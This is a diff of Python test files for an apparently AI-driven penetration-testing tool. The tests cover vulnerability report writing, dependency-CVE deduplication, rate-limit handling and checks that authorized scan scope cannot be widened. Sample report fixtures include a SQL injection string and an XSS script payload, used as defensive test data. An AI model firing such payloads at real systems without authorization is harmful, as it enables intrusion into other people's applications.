lambda: uuid.UUID("abcdef00-0000-4000-8000-000000000000"),
)
notes_tools._notes_storage["abcdef"] = {"content": "existing"}
result = notes_tools._create_note_impl("second", "new content")
assert result == {
"success": False,
"error": "Failed to generate a unique note ID",
"note_id": None,
}
assert notes_tools._notes_storage == {"abcdef": {"content": "existing"}}
+26
View File
@@ -0,0 +1,26 @@
"""Tests for the optional-dependency extras declared in pyproject.toml."""
from __future__ import annotations
import tomllib
from pathlib import Path
PYPROJECT = Path(__file__).resolve().parent.parent / "pyproject.toml"
def _optional_dependencies() -> dict[str, list[str]]:
data = tomllib.loads(PYPROJECT.read_text(encoding="utf-8"))
return data["project"]["optional-dependencies"]
def test_vertex_extra_pins_google_auth() -> None:
extras = _optional_dependencies()
assert "vertex" in extras
assert any(req.startswith("google-auth") for req in extras["vertex"])
def test_bedrock_extra_pins_boto3() -> None:
extras = _optional_dependencies()
assert "bedrock" in extras
assert any(req.startswith("boto3") for req in extras["bedrock"])
+74
View File
@@ -0,0 +1,74 @@
"""Tests for the provider import-error hint helper in interface/main.py."""
from __future__ import annotations
from strix.interface.main import _provider_import_hint
VERTEX_MODEL = "vertex_ai/gemini-3-pro-preview"
BEDROCK_MODEL = "bedrock/anthropic.claude-4-5-sonnet"
VERTEX_EXTRA_NAME = "vertex"
BEDROCK_EXTRA_NAME = "bedrock"
INSTALL_EXTRA_COMMAND_FRAGMENT = 'pipx install "strix-agent['
WRAPPED_VERTEX_GOOGLE_ERROR = "litellm.APIConnectionError: No module named 'google'"
WRAPPED_BEDROCK_BOTO3_ERROR = "litellm.APIConnectionError: No module named 'boto3'"
def test_bedrock_boto3_hint() -> None:
exc = ModuleNotFoundError("No module named 'boto3'")
hint = _provider_import_hint(exc, BEDROCK_MODEL)
assert hint is not None
assert INSTALL_EXTRA_COMMAND_FRAGMENT in hint
assert BEDROCK_EXTRA_NAME in hint
def test_vertex_google_hint() -> None:
exc = ImportError("No module named 'google'")
hint = _provider_import_hint(exc, VERTEX_MODEL)
assert hint is not None
assert INSTALL_EXTRA_COMMAND_FRAGMENT in hint
assert VERTEX_EXTRA_NAME in hint
def test_vertex_google_hint_for_litellm_wrapped_connection_error() -> None:
exc = ConnectionError(WRAPPED_VERTEX_GOOGLE_ERROR)
hint = _provider_import_hint(exc, VERTEX_MODEL)
assert hint is not None
assert INSTALL_EXTRA_COMMAND_FRAGMENT in hint
assert VERTEX_EXTRA_NAME in hint
def test_bedrock_boto3_hint_for_litellm_wrapped_connection_error() -> None:
exc = ConnectionError(WRAPPED_BEDROCK_BOTO3_ERROR)
hint = _provider_import_hint(exc, BEDROCK_MODEL)
assert hint is not None
assert INSTALL_EXTRA_COMMAND_FRAGMENT in hint
assert BEDROCK_EXTRA_NAME in hint
def test_vertex_google_submodule_hint() -> None:
exc = ModuleNotFoundError("No module named 'google.auth'")
hint = _provider_import_hint(exc, VERTEX_MODEL)
assert hint is not None
assert INSTALL_EXTRA_COMMAND_FRAGMENT in hint
assert VERTEX_EXTRA_NAME in hint
def test_vertex_google_hint_for_deeply_chained_error() -> None:
root = ModuleNotFoundError("No module named 'google.auth'")
middle = RuntimeError("provider init failed")
middle.__cause__ = root
exc = ConnectionError("litellm.APIConnectionError: request failed")
exc.__cause__ = middle
hint = _provider_import_hint(exc, VERTEX_MODEL)
assert hint is not None
assert VERTEX_EXTRA_NAME in hint
def test_non_import_error_returns_none() -> None:
assert _provider_import_hint(ConnectionError("boom"), "bedrock/whatever") is None
def test_unrelated_provider_returns_none() -> None:
exc = ImportError("No module named 'something'")
assert _provider_import_hint(exc, "openai/gpt-4") is None
+46
View File
@@ -0,0 +1,46 @@
"""Tests for the proxy tool TUI renderers."""
from __future__ import annotations
from rich.text import Text
from strix.interface.tui.renderers.proxy_renderer import ViewRequestRenderer
def _plain(static: object) -> str:
content = static.content # type: ignore[attr-defined]
return content.plain if isinstance(content, Text) else str(content)
def _render(content: str, *, has_more: bool) -> str:
tool_data = {
"status": "completed",
"result": {
"content": content,
"has_more": has_more,
"page": 1,
"total_lines": len(content.split("\n")),
},
}
return _plain(ViewRequestRenderer.render(tool_data))
_MARKER = "... more content available"
def test_more_content_hint_shown_when_over_fifteen_lines() -> None:
content = "\n".join(f"line{i}" for i in range(30))
assert _MARKER in _render(content, has_more=False)
def test_no_more_content_hint_within_fifteen_lines() -> None:
content = "\n".join(f"line{i}" for i in range(5))
assert _MARKER not in _render(content, has_more=False)
def test_more_content_hint_shown_when_has_more_flag_set() -> None:
content = "\n".join(f"line{i}" for i in range(3))
assert _MARKER in _render(content, has_more=True)
+157
View File
@@ -0,0 +1,157 @@
"""Tests for strix.report.writer artifact helpers."""
from __future__ import annotations
import csv
import json
from typing import TYPE_CHECKING, Any
import pytest
from strix.report.writer import (
read_run_record,
render_vulnerability_md,
write_executive_report,
write_run_record,
write_vulnerabilities,
)
if TYPE_CHECKING:
from pathlib import Path
def _sample_report(**overrides: Any) -> dict[str, Any]:
base: dict[str, Any] = {
"id": "vuln-0001",
"title": "SQL Injection",
"severity": "high",
"timestamp": "2026-07-02 10:00:00 UTC",
"description": "User input reaches SQL query unsanitized.",
"impact": "Database read access.",
"target": "https://app.example.com",
"endpoint": "/api/login",
"method": "POST",
}
base.update(overrides)
return base
def test_read_run_record_missing_returns_empty(tmp_path: Path) -> None:
assert read_run_record(tmp_path) == {}
def test_read_run_record_corrupt_raises(tmp_path: Path) -> None:
record = tmp_path / "run.json"
record.write_text("{not json", encoding="utf-8")
with pytest.raises(RuntimeError, match="unreadable"):
read_run_record(tmp_path)
def test_read_run_record_non_object_raises(tmp_path: Path) -> None:
record = tmp_path / "run.json"
record.write_text(json.dumps(["array"]), encoding="utf-8")
with pytest.raises(TypeError, match="not an object"):
read_run_record(tmp_path)
def test_write_and_read_run_record_round_trip(tmp_path: Path) -> None:
payload = {"scan_id": "scan-abc", "status": "completed"}
write_run_record(tmp_path, payload)
assert read_run_record(tmp_path) == payload
def test_render_vulnerability_md_includes_core_sections() -> None:
md = render_vulnerability_md(
_sample_report(
technical_analysis="Root cause in UserDAO.",
poc_description="Send ' OR 1=1 --",
remediation_steps="Use parameterized queries.",
),
)
assert "# SQL Injection" in md
assert "**Severity:** HIGH" in md
assert "## Description" in md
assert "## Impact" in md
assert "## Technical Analysis" in md
assert "## Proof of Concept" in md
assert "## Remediation" in md
assert "**Endpoint:** /api/login" in md
def test_render_vulnerability_md_includes_dependency_fields() -> None:
md = render_vulnerability_md(
_sample_report(
title="CVE-2021-23337 in lodash 4.17.20",
severity="high",
target="repo/package.json",
endpoint=None,
method=None,
cve="CVE-2021-23337",
cwe="CWE-94",
cvss=7.2,
fix_effort="trivial",
finding_class="dependency_cve",
evidence="**Advisory evidence:** `CVE-2021-23337` applies to `lodash`.",
assumptions="Assumes lodash ships in deployed builds.",
dependency_metadata={
"package_name": "lodash",
"package_ecosystem": "npm",
"installed_version": "4.17.20",
"fixed_version": "4.17.21",
},
remediation_steps="Upgrade to 4.17.21.",
),
)
assert "**Package:** lodash" in md
assert "**Ecosystem:** npm" in md
assert "**Installed Version:** 4.17.20" in md
assert "**Fixed Version:** 4.17.21" in md
assert "**CWE:** CWE-94" in md
assert "**Fix Effort:** Trivial" in md
assert "## Evidence" in md
assert "## Assumptions" in md
def test_write_vulnerabilities_creates_markdown_csv_and_json(tmp_path: Path) -> None:
reports = [
_sample_report(id="vuln-0001", severity="medium", timestamp="2026-07-02 11:00:00 UTC"),
_sample_report(
id="vuln-0002",
title="Critical RCE",
severity="critical",
timestamp="2026-07-02 09:00:00 UTC",
),
]
saved: set[str] = set()
new_count = write_vulnerabilities(tmp_path, reports, saved)
assert new_count == 2
assert (tmp_path / "vulnerabilities" / "vuln-0001.md").exists()
assert (tmp_path / "vulnerabilities" / "vuln-0002.md").exists()
assert json.loads((tmp_path / "vulnerabilities.json").read_text(encoding="utf-8")) == reports
csv_rows = list(
csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()),
)
assert [row["id"] for row in csv_rows] == ["vuln-0002", "vuln-0001"]
assert csv_rows[0]["severity"] == "CRITICAL"
def test_write_vulnerabilities_skips_already_saved_ids(tmp_path: Path) -> None:
reports = [_sample_report(id="vuln-0001")]
saved: set[str] = {"vuln-0001"}
new_count = write_vulnerabilities(tmp_path, reports, saved)
assert new_count == 0
assert not (tmp_path / "vulnerabilities" / "vuln-0001.md").exists()
assert (tmp_path / "vulnerabilities.csv").exists()
def test_write_executive_report_writes_markdown(tmp_path: Path) -> None:
write_executive_report(tmp_path, "Scan complete. No critical issues.")
content = (tmp_path / "penetration_test_report.md").read_text(encoding="utf-8")
assert "# Security Penetration Test Report" in content
assert "Scan complete. No critical issues." in content
+564
View File
@@ -0,0 +1,564 @@
"""Tests for restored report fields, SCA tool, and report formatting guidance."""
from __future__ import annotations
from typing import TYPE_CHECKING
import pytest
from strix.report.dedupe import (
_check_dependency_duplicate,
_prepare_report_for_comparison,
check_duplicate,
)
from strix.report.state import ReportState, set_global_report_state
from strix.tools.finish.tool import finish_scan
from strix.tools.reporting.tool import (
_do_create,
_do_create_dependency,
create_dependency_report,
create_vulnerability_report,
)
if TYPE_CHECKING:
from pathlib import Path
_CVSS = {
"attack_vector": "N",
"attack_complexity": "L",
"privileges_required": "N",
"user_interaction": "N",
"scope": "U",
"confidentiality": "H",
"integrity": "H",
"availability": "H",
}
@pytest.fixture
def report_state(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> ReportState:
monkeypatch.chdir(tmp_path)
state = ReportState(run_name="test-run")
set_global_report_state(state)
return state
async def test_create_report_persists_new_fields(report_state: ReportState) -> None:
result = await _do_create(
title="Reflected XSS in search",
description="q reflects unencoded input.",
impact="Session theft.",
target="https://app.example.com",
technical_analysis="Input interpolated into HTML.",
poc_description="1. open /search?q=<payload>",
poc_script_code="GET /search?q=<script>alert(1)</script>",
remediation_steps="Context-encode output.",
evidence="Response echoes the payload verbatim.",
assumptions="Assumes a victim opens a crafted link.",
fix_effort="LOW",
cvss_breakdown=_CVSS,
endpoint="/search",
method="GET",
cve=None,
cwe="CWE-79",
code_locations=None,
fix_pr_body="## Fix\nEncode output.",
)
assert result["success"] is True
report = report_state.vulnerability_reports[0]
assert report["evidence"] == "Response echoes the payload verbatim."
assert report["assumptions"] == "Assumes a victim opens a crafted link."
assert report["fix_effort"] == "low"
assert report["fix_pr_body"] == "## Fix\nEncode output."
assert report["finding_class"] == "dynamic"
async def test_create_report_requires_evidence_and_assumptions(
report_state: ReportState,
) -> None:
result = await _do_create(
title="X",
description="d",
impact="i",
target="t",
technical_analysis="ta",
poc_description="p",
poc_script_code="c",
remediation_steps="r",
evidence=" ",
assumptions="",
fix_effort="low",
cvss_breakdown=_CVSS,
endpoint=None,
method=None,
cve=None,
cwe=None,
code_locations=None,
)
assert result["success"] is False
joined = " ".join(result["errors"])
assert "Evidence" in joined
assert "Assumptions" in joined
assert not report_state.vulnerability_reports
async def test_create_report_rejects_invalid_fix_effort(report_state: ReportState) -> None:
result = await _do_create(
title="X",
description="d",
impact="i",
target="t",
technical_analysis="ta",
poc_description="p",
poc_script_code="c",
remediation_steps="r",
evidence="e",
assumptions="a",
fix_effort="enormous",
cvss_breakdown=_CVSS,
endpoint=None,
method=None,
cve=None,
cwe=None,
code_locations=None,
)
assert result["success"] is False
assert any("fix_effort" in e for e in result["errors"])
assert not report_state.vulnerability_reports
async def test_dependency_report_sets_class_and_metadata(report_state: ReportState) -> None:
result = await _do_create_dependency(
title="CVE-2021-23337 in lodash 4.17.20",
description="Command injection via template.",
target="repo/package.json",
cve="CVE-2021-23337",
package_name="lodash",
installed_version="4.17.20",
impact="Arbitrary command execution.",
remediation_steps="Upgrade to 4.17.21.",
assumptions="Assumes the template sink is reachable.",
package_ecosystem="npm",
fixed_version="4.17.21",
cwe="CWE-94",
advisory_cvss=7.2,
technical_analysis=None,
fix_effort="trivial",
)
assert result["success"] is True
report = report_state.vulnerability_reports[0]
assert report["finding_class"] == "dependency_cve"
assert report["cve"] == "CVE-2021-23337"
assert report["severity"] == "high"
assert report["evidence"] == (
"**Advisory evidence:** `CVE-2021-23337` applies to `lodash` "
"at installed version `4.17.20`. The advisory is fixed in `4.17.21`."
)
assert report["dependency_metadata"] == {
"package_name": "lodash",
"installed_version": "4.17.20",
"package_ecosystem": "npm",
"fixed_version": "4.17.21",
}
async def test_dependency_report_with_zero_cvss_remains_low_severity(
report_state: ReportState,
) -> None:
result = await _do_create_dependency(
title="CVE-2024-0001 in sample 1.0.0",
description="Published advisory affects the pinned version.",
target="repo/package.json",
cve="CVE-2024-0001",
package_name="sample",
installed_version="1.0.0",
impact="Low-impact dependency advisory.",
remediation_steps="Upgrade to 1.0.1.",
assumptions="Assumes the package is included in deployed builds.",
package_ecosystem="npm",
fixed_version="1.0.1",
cwe=None,
advisory_cvss=0.0,
technical_analysis=None,
fix_effort="low",
)
assert result["success"] is True
assert result["severity"] == "low"
report = report_state.vulnerability_reports[0]
assert report["severity"] == "low"
assert report["cvss"] == 0.0
async def test_dependency_report_requires_advisory_cvss(report_state: ReportState) -> None:
result = await _do_create_dependency(
title="CVE-2024-0001 in sample 1.0.0",
description="Published advisory affects the pinned version.",
target="repo/package.json",
cve="CVE-2024-0001",
package_name="sample",
installed_version="1.0.0",
impact="Some impact.",
remediation_steps="Upgrade to 1.0.1.",
assumptions="Assumes the package ships in deployed builds.",
package_ecosystem="npm",
fixed_version="1.0.1",
cwe=None,
advisory_cvss=None,
technical_analysis=None,
fix_effort="low",
)
assert result["success"] is False
assert any("advisory_cvss is required" in e for e in result["errors"])
assert not report_state.vulnerability_reports
async def test_dependency_report_dedupe_candidate_includes_dependency_metadata(
report_state: ReportState,
monkeypatch: pytest.MonkeyPatch,
) -> None:
captured: dict[str, object] = {}
async def fake_check_duplicate(
candidate: dict[str, object],
existing: list[dict[str, object]],
) -> dict[str, object]:
captured["candidate"] = candidate
captured["existing"] = existing
return {"is_duplicate": False}
monkeypatch.setattr("strix.report.dedupe.check_duplicate", fake_check_duplicate)
report_state.vulnerability_reports.append(
{
"id": "vuln-0001",
"title": "CVE-2024-0001 in other 1.0.0",
"severity": "low",
"timestamp": "2026-01-01 00:00:00 UTC",
"description": "Existing dependency finding.",
"target": "repo/package.json",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "other",
"installed_version": "1.0.0",
"package_ecosystem": "npm",
},
}
)
result = await _do_create_dependency(
title="CVE-2024-0001 in sample 1.0.0",
description="Published advisory affects the pinned version.",
target="repo/package.json",
cve="CVE-2024-0001",
package_name="sample",
installed_version="1.0.0",
impact="Low-impact dependency advisory.",
remediation_steps="Upgrade to 1.0.1.",
assumptions="Assumes the package is included in deployed builds.",
package_ecosystem="npm",
fixed_version="1.0.1",
cwe=None,
advisory_cvss=0.0,
technical_analysis=None,
fix_effort="low",
)
assert result["success"] is True
assert captured["candidate"] == {
"title": "CVE-2024-0001 in sample 1.0.0",
"description": "Published advisory affects the pinned version.",
"target": "repo/package.json",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.0",
"package_ecosystem": "npm",
"fixed_version": "1.0.1",
},
"technical_analysis": None,
}
async def test_dependency_report_rejects_bad_cve(report_state: ReportState) -> None:
result = await _do_create_dependency(
title="bad",
description="d",
target="t",
cve="not-a-cve",
package_name="pkg",
installed_version="1.0.0",
impact="i",
remediation_steps="r",
assumptions="a",
package_ecosystem="npm",
fixed_version=None,
cwe=None,
advisory_cvss=None,
technical_analysis=None,
fix_effort="low",
)
assert result["success"] is False
assert not report_state.vulnerability_reports
async def test_dependency_report_requires_ecosystem(report_state: ReportState) -> None:
result = await _do_create_dependency(
title="CVE-2024-0001 in sample 1.0.0",
description="Published advisory affects the pinned version.",
target="repo/package.json",
cve="CVE-2024-0001",
package_name="sample",
installed_version="1.0.0",
impact="Low-impact dependency advisory.",
remediation_steps="Upgrade to 1.0.1.",
assumptions="Assumes the package is included in deployed builds.",
package_ecosystem="",
fixed_version="1.0.1",
cwe=None,
advisory_cvss=0.0,
technical_analysis=None,
fix_effort="low",
)
assert result["success"] is False
assert any("package_ecosystem" in error for error in result["errors"])
assert not report_state.vulnerability_reports
def test_dedupe_comparison_preserves_cve_identity() -> None:
cleaned = _prepare_report_for_comparison(
{
"title": "CVE-2021-23337 in lodash",
"description": "Pinned vulnerable dependency.",
"target": "repo/package.json",
"cve": "CVE-2021-23337",
"dependency_metadata": {"package_name": "lodash"},
}
)
assert cleaned["cve"] == "CVE-2021-23337"
assert cleaned["dependency_metadata"] == {"package_name": "lodash"}
async def test_dependency_dedupe_uses_cve_package_identity() -> None:
existing = [
{
"id": "vuln-0001",
"title": "CVE-2024-0001 in other",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "other",
"installed_version": "1.0.0",
"package_ecosystem": "npm",
},
}
]
candidate = {
"title": "CVE-2024-0001 in sample",
"description": "Similar advisory prose.",
"target": "repo/package.json",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.0",
"package_ecosystem": "npm",
},
}
result = await check_duplicate(candidate, existing)
assert result["is_duplicate"] is False
assert result["confidence"] == 1.0
async def test_dependency_dedupe_rejects_same_cve_package_identity() -> None:
existing = [
{
"id": "vuln-0001",
"title": "CVE-2024-0001 in sample",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.0",
"package_ecosystem": "npm",
},
}
]
candidate = {
"title": "CVE-2024-0001 in sample with different prose",
"description": "Different prose for the same dependency identity.",
"target": "repo/package.json",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.1",
"package_ecosystem": "npm",
},
}
result = await check_duplicate(candidate, existing)
assert result["is_duplicate"] is True
assert result["duplicate_id"] == "vuln-0001"
assert result["confidence"] == 1.0
async def test_dependency_dedupe_detects_legacy_same_cve_package() -> None:
existing = [
{
"id": "vuln-0001",
"title": "CVE-2024-0001 in npm sample package",
"description": "Legacy dependency finding without structured metadata.",
"cve": "CVE-2024-0001",
}
]
candidate = {
"title": "CVE-2024-0001 in sample",
"description": "Different prose for the same dependency identity.",
"target": "repo/package.json",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.1",
"package_ecosystem": "npm",
},
}
result = await check_duplicate(candidate, existing)
assert result["is_duplicate"] is True
assert result["duplicate_id"] == "vuln-0001"
assert result["confidence"] == 1.0
def test_dependency_dedupe_defers_unclear_legacy_same_cve() -> None:
existing = [
{
"id": "vuln-0001",
"title": "CVE-2024-0001 dependency finding",
"description": "Legacy dependency finding without package identity.",
"cve": "CVE-2024-0001",
}
]
candidate = {
"title": "CVE-2024-0001 in sample",
"description": "Candidate dependency finding.",
"target": "repo/package.json",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.1",
"package_ecosystem": "npm",
},
}
assert _check_dependency_duplicate(candidate, existing) is None
def test_dependency_dedupe_defers_legacy_package_substring_match() -> None:
existing = [
{
"id": "vuln-0001",
"title": "CVE-2024-0001 in sample-package",
"description": "Legacy dependency finding for a different package.",
"cve": "CVE-2024-0001",
}
]
candidate = {
"title": "CVE-2024-0001 in sample",
"description": "Candidate dependency finding.",
"target": "repo/package.json",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.1",
"package_ecosystem": "npm",
},
}
assert _check_dependency_duplicate(candidate, existing) is None
def test_dependency_dedupe_defers_legacy_ecosystem_mismatch() -> None:
existing = [
{
"id": "vuln-0001",
"title": "CVE-2024-0001 in npm sample",
"description": "Legacy dependency finding for a different ecosystem.",
"cve": "CVE-2024-0001",
}
]
candidate = {
"title": "CVE-2024-0001 in sample",
"description": "Candidate dependency finding.",
"target": "repo/requirements.txt",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.1",
"package_ecosystem": "pypi",
},
}
assert _check_dependency_duplicate(candidate, existing) is None
def test_dependency_dedupe_matches_structured_missing_ecosystem() -> None:
existing = [
{
"id": "vuln-0001",
"title": "CVE-2024-0001 in sample",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.0",
},
}
]
candidate = {
"title": "CVE-2024-0001 in sample",
"description": "Candidate dependency finding.",
"target": "repo/package.json",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.1",
"package_ecosystem": "npm",
},
}
result = _check_dependency_duplicate(candidate, existing)
assert result is not None
assert result["is_duplicate"] is True
assert result["duplicate_id"] == "vuln-0001"
def test_tool_descriptions_include_formatting_guidance() -> None:
vuln_desc = create_vulnerability_report.description
assert "markdown" in vuln_desc.lower()
assert "fenced code" in vuln_desc.lower()
finish_desc = finish_scan.description
assert "markdown" in finish_desc.lower()
assert "# Executive Summary" in finish_desc
dep_desc = create_dependency_report.description
assert "cve" in dep_desc.lower()
assert "reachab" in dep_desc.lower()
def test_vuln_tool_exposes_new_params() -> None:
props = create_vulnerability_report.params_json_schema["properties"]
for field in ("evidence", "assumptions", "fix_effort", "fix_pr_body"):
assert field in props
dep_props = create_dependency_report.params_json_schema["properties"]
for field in ("package_name", "installed_version", "cve", "advisory_cvss"):
assert field in dep_props
dep_required = create_dependency_report.params_json_schema["required"]
assert "package_ecosystem" in dep_required
assert "advisory_cvss" in dep_required
+88
View File
@@ -0,0 +1,88 @@
"""Tests for graceful handling of persistent RateLimitError in run_strix_scan."""
from __future__ import annotations
import logging
import types
from typing import Any
import httpx
import pytest
from openai import RateLimitError
import strix.tools.notes.tools as notes_tools
import strix.tools.todo.tools as todo_tools
from strix.core import runner
from strix.core.agents import AgentCoordinator
def _make_rate_limit_error() -> RateLimitError:
request = httpx.Request("POST", "https://api.openai.com/v1/responses")
response = httpx.Response(status_code=429, request=request)
return RateLimitError("rate limited", response=response, body=None)
@pytest.mark.asyncio
async def test_persistent_rate_limit_stops_gracefully(
monkeypatch: pytest.MonkeyPatch, tmp_path: Any, caplog: pytest.LogCaptureFixture
) -> None:
"""A persistent RateLimitError stops the scan (root -> 'stopped') without raising."""
monkeypatch.setattr(runner, "run_dir_for", lambda _scan_id: tmp_path)
monkeypatch.setattr(runner, "runtime_state_dir", lambda _run_dir: tmp_path)
monkeypatch.setattr(runner, "setup_scan_logging", lambda _run_dir: lambda: None)
monkeypatch.setattr(runner, "set_scan_id", lambda _scan_id: None)
settings = types.SimpleNamespace(
llm=types.SimpleNamespace(
model="openai/gpt-4o",
reasoning_effort="high",
force_required_tool_choice=False,
)
)
monkeypatch.setattr(runner, "load_settings", lambda: settings)
monkeypatch.setattr(runner, "configure_sdk_model_defaults", lambda _settings: None)
monkeypatch.setattr(
runner, "uses_chat_completions_tool_schema", lambda _model, _settings: False
)
monkeypatch.setattr(todo_tools, "hydrate_todos_from_disk", lambda _state_dir: None)
monkeypatch.setattr(notes_tools, "hydrate_notes_from_disk", lambda _state_dir: None)
async def _create_or_reuse(*_args: Any, **_kwargs: Any) -> dict[str, Any]:
return {"client": object(), "session": object(), "caido_client": None}
async def _cleanup(*_args: Any, **_kwargs: Any) -> None:
return None
monkeypatch.setattr(runner.session_manager, "create_or_reuse", _create_or_reuse)
monkeypatch.setattr(runner.session_manager, "cleanup", _cleanup)
monkeypatch.setattr(runner, "build_root_task", lambda _scan_config: "task")
monkeypatch.setattr(runner, "build_scope_context", lambda _scan_config: "")
monkeypatch.setattr(runner, "make_model_settings", lambda *_args, **_kwargs: object())
monkeypatch.setattr(runner, "build_strix_agent", lambda **_kwargs: object())
monkeypatch.setattr(runner, "make_child_factory", lambda **_kwargs: lambda **_k: object())
monkeypatch.setattr(runner, "open_agent_session", lambda _root_id, _db: object())
async def _raise_rate_limit(*_args: Any, **_kwargs: Any) -> None:
raise _make_rate_limit_error()
monkeypatch.setattr(runner, "run_agent_loop", _raise_rate_limit)
coordinator = AgentCoordinator()
with caplog.at_level(logging.WARNING):
result = await runner.run_strix_scan(
scan_config={"targets": [], "scan_mode": "deep"},
scan_id="scan-test",
image="img",
coordinator=coordinator,
)
assert result is None
root_ids = [aid for aid, parent in coordinator.parent_of.items() if parent is None]
assert len(root_ids) == 1
assert coordinator.statuses[root_ids[0]] == "stopped"
# the resume hint must carry the real scan id, not a literal placeholder
assert "strix --resume scan-test" in caplog.text
assert "<run_name>" not in caplog.text
+174
View File
@@ -0,0 +1,174 @@
"""Tests for root scan prompt options in run_strix_scan.
Verify that ``root_instructions_override`` and ``extra_system_prompt_context``
flow through to the root agent's ``build_strix_agent`` call.
"""
from __future__ import annotations
import types
from typing import Any
import httpx
import pytest
from openai import RateLimitError
import strix.tools.notes.tools as notes_tools
import strix.tools.todo.tools as todo_tools
from strix.core import runner
from strix.core.agents import AgentCoordinator
def _make_rate_limit_error() -> RateLimitError:
request = httpx.Request("POST", "https://api.openai.com/v1/responses")
response = httpx.Response(status_code=429, request=request)
return RateLimitError("rate limited", response=response, body=None)
def _patch_engine_scaffold(
monkeypatch: pytest.MonkeyPatch,
tmp_path: Any,
scope_context: dict[str, Any],
) -> dict[str, Any]:
"""Stub out everything around build_strix_agent and stop at run_agent_loop.
Returns a dict that will be populated with the kwargs the runner passed to
``build_strix_agent`` for the root agent.
"""
monkeypatch.setattr(runner, "run_dir_for", lambda _scan_id: tmp_path)
monkeypatch.setattr(runner, "runtime_state_dir", lambda _run_dir: tmp_path)
monkeypatch.setattr(runner, "setup_scan_logging", lambda _run_dir: lambda: None)
monkeypatch.setattr(runner, "set_scan_id", lambda _scan_id: None)
settings = types.SimpleNamespace(
llm=types.SimpleNamespace(
model="openai/gpt-4o",
reasoning_effort="high",
force_required_tool_choice=False,
)
)
monkeypatch.setattr(runner, "load_settings", lambda: settings)
monkeypatch.setattr(runner, "configure_sdk_model_defaults", lambda _settings: None)
monkeypatch.setattr(
runner,
"uses_chat_completions_tool_schema",
lambda _model, _settings: False,
)
monkeypatch.setattr(todo_tools, "hydrate_todos_from_disk", lambda _state_dir: None)
monkeypatch.setattr(notes_tools, "hydrate_notes_from_disk", lambda _state_dir: None)
async def _create_or_reuse(*_args: Any, **_kwargs: Any) -> dict[str, Any]:
return {"client": object(), "session": object(), "caido_client": None}
async def _cleanup(*_args: Any, **_kwargs: Any) -> None:
return None
monkeypatch.setattr(runner.session_manager, "create_or_reuse", _create_or_reuse)
monkeypatch.setattr(runner.session_manager, "cleanup", _cleanup)
monkeypatch.setattr(runner, "build_root_task", lambda _scan_config: "task")
monkeypatch.setattr(runner, "build_scope_context", lambda _scan_config: scope_context)
monkeypatch.setattr(runner, "make_model_settings", lambda *_args, **_kwargs: object())
captured: dict[str, Any] = {}
def _build_strix_agent(**kwargs: Any) -> object:
if kwargs.get("is_root") and "kwargs" not in captured:
captured["kwargs"] = kwargs
return object()
monkeypatch.setattr(runner, "build_strix_agent", _build_strix_agent)
monkeypatch.setattr(runner, "make_child_factory", lambda **_kwargs: lambda **_k: object())
monkeypatch.setattr(runner, "open_agent_session", lambda _root_id, _db: object())
async def _raise_rate_limit(*_args: Any, **_kwargs: Any) -> None:
raise _make_rate_limit_error()
monkeypatch.setattr(runner, "run_agent_loop", _raise_rate_limit)
return captured
@pytest.mark.asyncio
async def test_root_prompt_options_flow_into_root_agent(
monkeypatch: pytest.MonkeyPatch,
tmp_path: Any,
) -> None:
scope_context = {
"scope_source": "system_scan_config",
"authorization_source": "strix_platform_verified_targets",
"authorized_targets": [
{
"type": "web_application",
"value": "https://example.com",
"workspace_path": "",
},
],
"user_instructions_do_not_expand_scope": True,
}
captured = _patch_engine_scaffold(monkeypatch, tmp_path, scope_context)
await runner.run_strix_scan(
scan_config={"targets": [], "scan_mode": "deep"},
scan_id="scan-ext",
image="img",
coordinator=AgentCoordinator(),
root_instructions_override="CUSTOM SCAN PROMPT",
extra_system_prompt_context={"target_context": "known findings"},
)
kwargs = captured["kwargs"]
instructions_override = kwargs["instructions_override"]
assert "SYSTEM-VERIFIED SCOPE" in instructions_override
assert "AUTHORIZED TARGETS" in instructions_override
assert "https://example.com" in instructions_override
assert "CUSTOM SCAN PROMPT" in instructions_override
assert (
"cannot expand, replace, or weaken authorized target constraints"
in instructions_override
)
assert kwargs["system_prompt_context"] == {
**scope_context,
"target_context": "known findings",
}
@pytest.mark.asyncio
async def test_extra_system_prompt_context_cannot_override_scope_context(
monkeypatch: pytest.MonkeyPatch,
tmp_path: Any,
) -> None:
scope_context = {"authorized_targets": [{"type": "web_application"}]}
captured = _patch_engine_scaffold(monkeypatch, tmp_path, scope_context)
with pytest.raises(ValueError, match="authorized_targets"):
await runner.run_strix_scan(
scan_config={"targets": [], "scan_mode": "deep"},
scan_id="scan-conflict",
image="img",
coordinator=AgentCoordinator(),
extra_system_prompt_context={"authorized_targets": []},
)
assert "kwargs" not in captured
@pytest.mark.asyncio
async def test_root_prompt_options_default_to_none(
monkeypatch: pytest.MonkeyPatch,
tmp_path: Any,
) -> None:
"""Without the new args, behavior is unchanged: no override, scope context as-is."""
scope_context = {"scope": "built-in"}
captured = _patch_engine_scaffold(monkeypatch, tmp_path, scope_context)
await runner.run_strix_scan(
scan_config={"targets": [], "scan_mode": "deep"},
scan_id="scan-default",
image="img",
coordinator=AgentCoordinator(),
)
kwargs = captured["kwargs"]
assert kwargs["instructions_override"] is None
assert kwargs["system_prompt_context"] == {"scope": "built-in"}
+244
View File
@@ -0,0 +1,244 @@
"""Tests for the SARIF 2.1.0 emitter in strix.report.sarif."""
from __future__ import annotations
import json
from typing import TYPE_CHECKING, Any
from strix.report.sarif import write_sarif
if TYPE_CHECKING:
from pathlib import Path
def _read(run_dir: Path) -> dict[str, Any]:
